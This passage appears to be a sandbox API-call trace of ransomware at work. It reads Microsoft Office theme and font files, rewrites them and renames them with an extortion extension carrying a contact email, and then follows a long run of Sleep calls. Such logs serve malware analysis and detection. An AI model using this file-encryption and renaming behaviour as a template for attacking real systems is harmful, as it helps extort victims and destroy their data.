(HeapHandle=0x630000, Flags=0x0, Size=0xa5e1) returned 0x7541a60 [0249.526] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.526] ReadFile (in: hFile=0x6c0, lpBuffer=0x6f93060, nNumberOfBytesToRead=0xa5c0, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f93060*, lpNumberOfBytesRead=0x587ff0c*=0xa5c0, lpOverlapped=0x0) returned 1 [0254.110] GetProcessHeap () returned 0x630000 [0254.110] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0254.111] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.111] WriteFile (in: hFile=0x6c0, lpBuffer=0x7541a60*, nNumberOfBytesToWrite=0xa5c0, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7541a60*, lpNumberOfBytesWritten=0x587ff0c*=0xa5c0, lpOverlapped=0x0) returned 1 [0254.111] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.111] WriteFile (in: hFile=0x6c0, lpBuffer=0x754c01f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x754c01f*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.112] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.112] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.112] CloseHandle (hObject=0x6c0) returned 1 [0254.112] GetProcessHeap () returned 0x630000 [0254.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7541a60 | out: hHeap=0x630000) returned 1 [0254.112] GetProcessHeap () returned 0x630000 [0254.112] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f93060 | out: hHeap=0x630000) returned 1 [0254.113] GetProcessHeap () returned 0x630000 [0254.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0254.413] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.413] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d68ddca, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa5f9, dwReserved0=0xaa87496, dwReserved1=0x6f93058, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f40 [0254.413] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0254.413] Sleep (dwMilliseconds=0x1) [0255.817] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\THMBNAIL.PNG", len=0x6e | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\THMBNAIL.PNG") returned 1 [0255.818] GetProcessHeap () returned 0x630000 [0255.818] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d30) returned 0x6fe3bb0 [0255.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0257.873] CloseHandle (hObject=0x6dc) returned 1 [0257.873] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.874] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0259.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0259.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5400 [0259.954] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0259.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\layers\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0259.954] GetProcessHeap () returned 0x630000 [0259.954] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xaf41) returned 0x71803a8 [0261.919] GetProcessHeap () returned 0x630000 [0261.919] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xaf41) returned 0x70c30a8 [0261.920] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.920] ReadFile (in: hFile=0x6dc, lpBuffer=0x71803a8, nNumberOfBytesToRead=0xaf20, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71803a8*, lpNumberOfBytesRead=0x587ff0c*=0xaf20, lpOverlapped=0x0) returned 1 [0267.972] GetProcessHeap () returned 0x630000 [0267.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0267.973] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.973] WriteFile (in: hFile=0x6dc, lpBuffer=0x70c30a8*, nNumberOfBytesToWrite=0xaf20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70c30a8*, lpNumberOfBytesWritten=0x587ff0c*=0xaf20, lpOverlapped=0x0) returned 1 [0267.973] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.973] WriteFile (in: hFile=0x6dc, lpBuffer=0x70cdfc7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70cdfc7*, lpNumberOfBytesWritten=0x587ff0c*=0x20, lpOverlapped=0x0) returned 1 [0267.973] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.973] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x587ff0c*=0x4, lpOverlapped=0x0) returned 1 [0267.974] CloseHandle (hObject=0x6dc) returned 1 [0267.974] GetProcessHeap () returned 0x630000 [0267.974] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70c30a8 | out: hHeap=0x630000) returned 1 [0267.974] GetProcessHeap () returned 0x630000 [0267.974] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71803a8 | out: hHeap=0x630000) returned 1 [0267.974] GetProcessHeap () returned 0x630000 [0267.974] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0267.974] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.974] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fcc4 | out: lpFindFileData=0x587fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x65ac5e51, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xaf56, dwReserved0=0xaa87496, dwReserved1=0x71803a0, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5040 [0267.974] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0267.974] Sleep (dwMilliseconds=0x1) [0270.003] SysReAllocStringLen (in: pbstr=0x587ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SEGOEUISL.TTF", len=0x46 | out: pbstr=0x587ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SEGOEUISL.TTF") returned 1 [0270.003] GetProcessHeap () returned 0x630000 [0270.003] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b38) returned 0x6fe3bb0 [0270.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SEGOEUISL.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\segoeuisl.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0270.029] CloseHandle (hObject=0x4b8) returned 1 [0270.029] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0270.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SEGOEUISL.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\segoeuisl.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SEGOEUISL.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\segoeuisl.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0270.030] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x587ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0270.031] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SEGOEUISL.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x587fc6c | out: lpFindFileData=0x587fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86a500ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a500ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a500ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x97e0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEGOEUISL.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SEGOEU~1.FIR")) returned 0x6d5340 [0270.031] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0270.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\SEGOEUISL.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\segoeuisl.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0270.031] GetProcessHeap () returned 0x630000 [0270.031] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f5fc20 [0270.032] GetProcessHeap () returned 0x630000 [0270.032] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f6b050 [0270.032] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.032] ReadFile (in: hFile=0x4b8, lpBuffer=0x6f5fc20, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x587ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f5fc20*, lpNumberOfBytesRead=0x587ff0c*=0xb400, lpOverlapped=0x0) returned 1 Thread: id = 70 os_tid = 0x1294 [0067.528] Sleep (dwMilliseconds=0x1) [0067.538] Sleep (dwMilliseconds=0x1) [0067.553] Sleep (dwMilliseconds=0x1) [0067.655] Sleep (dwMilliseconds=0x1) [0067.662] Sleep (dwMilliseconds=0x1) [0067.679] Sleep (dwMilliseconds=0x1) [0067.694] Sleep (dwMilliseconds=0x1) [0067.710] Sleep (dwMilliseconds=0x1) [0067.725] Sleep (dwMilliseconds=0x1) [0067.741] Sleep (dwMilliseconds=0x1) [0067.763] Sleep (dwMilliseconds=0x1) [0067.772] Sleep (dwMilliseconds=0x1) [0067.789] Sleep (dwMilliseconds=0x1) [0067.932] Sleep (dwMilliseconds=0x1) [0068.038] Sleep (dwMilliseconds=0x1) [0068.152] Sleep (dwMilliseconds=0x1) [0068.277] Sleep (dwMilliseconds=0x1) [0068.401] Sleep (dwMilliseconds=0x1) [0068.493] Sleep (dwMilliseconds=0x1) [0068.544] Sleep (dwMilliseconds=0x1) [0068.698] Sleep (dwMilliseconds=0x1) [0068.746] Sleep (dwMilliseconds=0x1) [0068.793] Sleep (dwMilliseconds=0x1) [0068.842] Sleep (dwMilliseconds=0x1) [0068.884] Sleep (dwMilliseconds=0x1) [0068.934] Sleep (dwMilliseconds=0x1) [0068.977] Sleep (dwMilliseconds=0x1) [0069.047] Sleep (dwMilliseconds=0x1) [0069.106] Sleep (dwMilliseconds=0x1) [0069.158] Sleep (dwMilliseconds=0x1) [0069.199] Sleep (dwMilliseconds=0x1) [0069.248] Sleep (dwMilliseconds=0x1) [0069.293] Sleep (dwMilliseconds=0x1) [0069.377] Sleep (dwMilliseconds=0x1) [0069.436] Sleep (dwMilliseconds=0x1) [0069.482] Sleep (dwMilliseconds=0x1) [0069.523] Sleep (dwMilliseconds=0x1) [0069.688] Sleep (dwMilliseconds=0x1) [0069.920] Sleep (dwMilliseconds=0x1) [0070.145] Sleep (dwMilliseconds=0x1) [0070.263] Sleep (dwMilliseconds=0x1) [0070.381] Sleep (dwMilliseconds=0x1) [0070.535] Sleep (dwMilliseconds=0x1) [0070.875] Sleep (dwMilliseconds=0x1) [0071.563] Sleep (dwMilliseconds=0x1) [0071.940] Sleep (dwMilliseconds=0x1) [0072.411] Sleep (dwMilliseconds=0x1) [0072.605] Sleep (dwMilliseconds=0x1) [0072.800] Sleep (dwMilliseconds=0x1) [0072.906] Sleep (dwMilliseconds=0x1) [0073.099] Sleep (dwMilliseconds=0x1) [0073.607] Sleep (dwMilliseconds=0x1) [0073.776] Sleep (dwMilliseconds=0x1) [0073.977] Sleep (dwMilliseconds=0x1) [0074.059] Sleep (dwMilliseconds=0x1) [0074.181] Sleep (dwMilliseconds=0x1) [0074.380] Sleep (dwMilliseconds=0x1) [0074.671] Sleep (dwMilliseconds=0x1) [0074.771] Sleep (dwMilliseconds=0x1) [0074.849] Sleep (dwMilliseconds=0x1) [0074.908] Sleep (dwMilliseconds=0x1) [0074.997] Sleep (dwMilliseconds=0x1) [0075.063] Sleep (dwMilliseconds=0x1) [0075.103] Sleep (dwMilliseconds=0x1) [0075.160] Sleep (dwMilliseconds=0x1) [0075.219] Sleep (dwMilliseconds=0x1) [0075.261] Sleep (dwMilliseconds=0x1) [0075.307] Sleep (dwMilliseconds=0x1) [0075.358] Sleep (dwMilliseconds=0x1) [0075.424] Sleep (dwMilliseconds=0x1) [0075.509] Sleep (dwMilliseconds=0x1) [0075.571] Sleep (dwMilliseconds=0x1) [0075.608] Sleep (dwMilliseconds=0x1) [0075.694] Sleep (dwMilliseconds=0x1) [0075.747] Sleep (dwMilliseconds=0x1) [0075.790] Sleep (dwMilliseconds=0x1) [0075.833] Sleep (dwMilliseconds=0x1) [0076.046] Sleep (dwMilliseconds=0x1) [0076.061] Sleep (dwMilliseconds=0x1) [0076.085] Sleep (dwMilliseconds=0x1) [0076.105] Sleep (dwMilliseconds=0x1) [0076.188] Sleep (dwMilliseconds=0x1) [0076.389] Sleep (dwMilliseconds=0x1) [0076.532] Sleep (dwMilliseconds=0x1) [0076.670] Sleep (dwMilliseconds=0x1) [0076.772] Sleep (dwMilliseconds=0x1) [0076.807] Sleep (dwMilliseconds=0x1) [0076.844] Sleep (dwMilliseconds=0x1) [0076.870] Sleep (dwMilliseconds=0x1) [0076.922] Sleep (dwMilliseconds=0x1) [0076.983] Sleep (dwMilliseconds=0x1) [0077.070] Sleep (dwMilliseconds=0x1) [0077.154] Sleep (dwMilliseconds=0x1) [0077.223] Sleep (dwMilliseconds=0x1) [0077.287] Sleep (dwMilliseconds=0x1) [0077.361] Sleep (dwMilliseconds=0x1) [0077.410] Sleep (dwMilliseconds=0x1) [0077.522] Sleep (dwMilliseconds=0x1) [0077.596] Sleep (dwMilliseconds=0x1) [0077.650] Sleep (dwMilliseconds=0x1) [0077.687] Sleep (dwMilliseconds=0x1) [0077.738] Sleep (dwMilliseconds=0x1) [0077.780] Sleep (dwMilliseconds=0x1) [0077.834] Sleep (dwMilliseconds=0x1) [0077.855] Sleep (dwMilliseconds=0x1) [0077.907] Sleep (dwMilliseconds=0x1) [0077.963] Sleep (dwMilliseconds=0x1) [0077.977] Sleep (dwMilliseconds=0x1) [0078.000] Sleep (dwMilliseconds=0x1) [0078.086] Sleep (dwMilliseconds=0x1) [0078.117] Sleep (dwMilliseconds=0x1) [0078.134] Sleep (dwMilliseconds=0x1) [0078.192] Sleep (dwMilliseconds=0x1) [0078.224] Sleep (dwMilliseconds=0x1) [0078.237] Sleep (dwMilliseconds=0x1) [0078.253] Sleep (dwMilliseconds=0x1) [0078.271] Sleep (dwMilliseconds=0x1) [0078.286] Sleep (dwMilliseconds=0x1) [0078.313] Sleep (dwMilliseconds=0x1) [0078.360] Sleep (dwMilliseconds=0x1) [0078.379] Sleep (dwMilliseconds=0x1) [0078.513] Sleep (dwMilliseconds=0x1) [0078.535] Sleep (dwMilliseconds=0x1) [0078.558] Sleep (dwMilliseconds=0x1) [0078.572] Sleep (dwMilliseconds=0x1) [0078.607] Sleep (dwMilliseconds=0x1) [0078.629] Sleep (dwMilliseconds=0x1) [0078.643] Sleep (dwMilliseconds=0x1) [0078.662] Sleep (dwMilliseconds=0x1) [0078.673] Sleep (dwMilliseconds=0x1) [0078.707] Sleep (dwMilliseconds=0x1) [0078.722] Sleep (dwMilliseconds=0x1) [0078.737] Sleep (dwMilliseconds=0x1) [0078.755] Sleep (dwMilliseconds=0x1) [0078.769] Sleep (dwMilliseconds=0x1) [0078.787] Sleep (dwMilliseconds=0x1) [0078.837] Sleep (dwMilliseconds=0x1) [0078.887] Sleep (dwMilliseconds=0x1) [0078.932] Sleep (dwMilliseconds=0x1) [0078.941] Sleep (dwMilliseconds=0x1) [0078.964] Sleep (dwMilliseconds=0x1) [0078.974] Sleep (dwMilliseconds=0x1) [0079.007] Sleep (dwMilliseconds=0x1) [0079.026] Sleep (dwMilliseconds=0x1) [0079.035] Sleep (dwMilliseconds=0x1) [0079.048] Sleep (dwMilliseconds=0x1) [0079.082] Sleep (dwMilliseconds=0x1) [0079.096] Sleep (dwMilliseconds=0x1) [0079.118] Sleep (dwMilliseconds=0x1) [0079.127] Sleep (dwMilliseconds=0x1) [0079.161] Sleep (dwMilliseconds=0x1) [0079.223] Sleep (dwMilliseconds=0x1) [0079.252] Sleep (dwMilliseconds=0x1) [0079.268] Sleep (dwMilliseconds=0x1) [0079.288] Sleep (dwMilliseconds=0x1) [0079.299] Sleep (dwMilliseconds=0x1) [0079.317] Sleep (dwMilliseconds=0x1) [0079.328] Sleep (dwMilliseconds=0x1) [0079.349] Sleep (dwMilliseconds=0x1) [0079.360] Sleep (dwMilliseconds=0x1) [0079.389] Sleep (dwMilliseconds=0x1) [0079.417] Sleep (dwMilliseconds=0x1) [0079.423] Sleep (dwMilliseconds=0x1) [0079.448] Sleep (dwMilliseconds=0x1) [0079.514] Sleep (dwMilliseconds=0x1) [0079.543] Sleep (dwMilliseconds=0x1) [0079.546] Sleep (dwMilliseconds=0x1) [0079.601] Sleep (dwMilliseconds=0x1) [0079.610] Sleep (dwMilliseconds=0x1) [0079.629] Sleep (dwMilliseconds=0x1) [0079.642] Sleep (dwMilliseconds=0x1) [0079.661] Sleep (dwMilliseconds=0x1) [0079.675] Sleep (dwMilliseconds=0x1) [0079.696] Sleep (dwMilliseconds=0x1) [0079.729] Sleep (dwMilliseconds=0x1) [0079.745] Sleep (dwMilliseconds=0x1) [0079.799] Sleep (dwMilliseconds=0x1) [0079.817] Sleep (dwMilliseconds=0x1) [0079.829] Sleep (dwMilliseconds=0x1) [0079.892] Sleep (dwMilliseconds=0x1) [0079.914] Sleep (dwMilliseconds=0x1) [0079.934] Sleep (dwMilliseconds=0x1) [0079.989] Sleep (dwMilliseconds=0x1) [0080.045] Sleep (dwMilliseconds=0x1) [0080.073] Sleep (dwMilliseconds=0x1) [0080.082] Sleep (dwMilliseconds=0x1) [0080.102] Sleep (dwMilliseconds=0x1) [0080.134] Sleep (dwMilliseconds=0x1) [0080.163] Sleep (dwMilliseconds=0x1) [0080.171] Sleep (dwMilliseconds=0x1) [0080.240] Sleep (dwMilliseconds=0x1) [0080.258] Sleep (dwMilliseconds=0x1) [0080.271] Sleep (dwMilliseconds=0x1) [0080.283] Sleep (dwMilliseconds=0x1) [0080.304] Sleep (dwMilliseconds=0x1) [0080.313] Sleep (dwMilliseconds=0x1) [0080.345] Sleep (dwMilliseconds=0x1) [0080.359] Sleep (dwMilliseconds=0x1) [0080.387] Sleep (dwMilliseconds=0x1) [0080.390] Sleep (dwMilliseconds=0x1) [0080.412] Sleep (dwMilliseconds=0x1) [0080.424] Sleep (dwMilliseconds=0x1) [0080.444] Sleep (dwMilliseconds=0x1) [0080.500] Sleep (dwMilliseconds=0x1) [0080.529] Sleep (dwMilliseconds=0x1) [0080.553] Sleep (dwMilliseconds=0x1) [0080.563] Sleep (dwMilliseconds=0x1) [0080.586] Sleep (dwMilliseconds=0x1) [0080.601] Sleep (dwMilliseconds=0x1) [0080.619] Sleep (dwMilliseconds=0x1) [0080.656] Sleep (dwMilliseconds=0x1) [0080.677] Sleep (dwMilliseconds=0x1) [0080.706] Sleep (dwMilliseconds=0x1) [0080.720] Sleep (dwMilliseconds=0x1) [0080.767] Sleep (dwMilliseconds=0x1) [0080.785] Sleep (dwMilliseconds=0x1) [0080.807] Sleep (dwMilliseconds=0x1) [0080.817] Sleep (dwMilliseconds=0x1) [0080.838] Sleep (dwMilliseconds=0x1) [0080.845] Sleep (dwMilliseconds=0x1) [0080.891] Sleep (dwMilliseconds=0x1) [0080.916] Sleep (dwMilliseconds=0x1) [0080.924] Sleep (dwMilliseconds=0x1) [0080.940] Sleep (dwMilliseconds=0x1) [0080.959] Sleep (dwMilliseconds=0x1) [0080.976] Sleep (dwMilliseconds=0x1) [0080.991] Sleep (dwMilliseconds=0x1) [0081.002] Sleep (dwMilliseconds=0x1) [0081.028] Sleep (dwMilliseconds=0x1) [0081.053] Sleep (dwMilliseconds=0x1) [0081.282] Sleep (dwMilliseconds=0x1) [0081.436] Sleep (dwMilliseconds=0x1) [0081.527] Sleep (dwMilliseconds=0x1) [0081.541] Sleep (dwMilliseconds=0x1) [0081.559] Sleep (dwMilliseconds=0x1) [0081.584] Sleep (dwMilliseconds=0x1) [0081.597] Sleep (dwMilliseconds=0x1) [0081.615] Sleep (dwMilliseconds=0x1) [0081.626] Sleep (dwMilliseconds=0x1) [0081.667] Sleep (dwMilliseconds=0x1) [0081.680] Sleep (dwMilliseconds=0x1) [0081.695] Sleep (dwMilliseconds=0x1) [0081.707] Sleep (dwMilliseconds=0x1) [0081.760] Sleep (dwMilliseconds=0x1) [0081.773] Sleep (dwMilliseconds=0x1) [0081.792] Sleep (dwMilliseconds=0x1) [0081.830] Sleep (dwMilliseconds=0x1) [0081.851] Sleep (dwMilliseconds=0x1) [0081.883] Sleep (dwMilliseconds=0x1) [0081.896] Sleep (dwMilliseconds=0x1) [0081.908] Sleep (dwMilliseconds=0x1) [0081.929] Sleep (dwMilliseconds=0x1) [0081.940] Sleep (dwMilliseconds=0x1) [0081.969] Sleep (dwMilliseconds=0x1) [0081.985] Sleep (dwMilliseconds=0x1) [0082.005] Sleep (dwMilliseconds=0x1) [0082.034] Sleep (dwMilliseconds=0x1) [0082.052] Sleep (dwMilliseconds=0x1) [0082.066] Sleep (dwMilliseconds=0x1) [0082.114] Sleep (dwMilliseconds=0x1) [0082.130] Sleep (dwMilliseconds=0x1) [0082.154] Sleep (dwMilliseconds=0x1) [0082.197] Sleep (dwMilliseconds=0x1) [0082.213] Sleep (dwMilliseconds=0x1) [0082.234] Sleep (dwMilliseconds=0x1) [0082.257] Sleep (dwMilliseconds=0x1) [0082.279] Sleep (dwMilliseconds=0x1) [0082.292] Sleep (dwMilliseconds=0x1) [0082.311] Sleep (dwMilliseconds=0x1) [0082.369] Sleep (dwMilliseconds=0x1) [0082.420] Sleep (dwMilliseconds=0x1) [0082.538] Sleep (dwMilliseconds=0x1) 